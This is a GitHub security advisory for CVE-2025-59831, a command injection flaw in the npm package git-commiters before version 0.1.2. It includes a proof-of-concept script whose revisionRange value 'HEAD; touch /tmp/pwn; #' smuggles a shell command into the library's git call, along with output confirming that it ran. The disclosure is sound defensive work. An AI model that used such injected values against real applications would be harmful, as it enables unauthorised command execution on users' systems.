GitHub Advisoryadvisory · npm

GHSA-g38c-wxjf-xrh6 `git-comiters` Command Injection vulnerability

HIGH Published 2025-09-22 Modified 2025-10-16 Official page ↗
Aliases
CVE-2025-59831
Ecosystem
npm
Packages
git-commiters
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weaknesses
CWE-77, CWE-78
Reviewed
2025-09-22

Affected packages

• npm git-commiters: < 0.1.2 → fixed in 0.1.2

Description

Background on the vulnerability This vulnerability manifests with the library's primary exported API: `gitCommiters(options, callback)` which allows specifying options such as `cwd` for current working directory and `revisionRange` as a revision pointer, such as `HEAD`. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. Exploit 1. Install `[email protected]` or earlier 2. Initiaizlie a new Git directory with commits in it 3. Create the following script in that directory: ```js var gitCommiters = require("git-commiters"); var options = { cwd: "./", revisionRange: "HEAD; touch /tmp/pwn; #", }; gitCommiters(options, function (err, result) { if (err) console.log(err); else console.log(result); }); ``` 3. Observe new file created on disk at `/tmp/pwn` The git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application. ```sh @lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js [ { email: '[email protected]', name: 'Morton Fox', deletions: 1, insertions: 1, commits: 1 }, { email: '[email protected]', name: 'Riceball LEE', deletions: 11, insertions: 1198, commits: 7 } ] @lirantal ➜ /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn -rw-r--rw- 1 codespace codespace 0 Jul 1 06:09 /tmp/pwn ``` Credit Liran Tal

Related

Alias · CVE (1)

  • CVE-2025-59831 git-commiters is a Node.js function module providing committers stats for their git repository. vulnerability

Weakness · CWE (2)

  • CWE-77 Improper Neutralization of Special Elements used in a Command weakness
  • CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness

References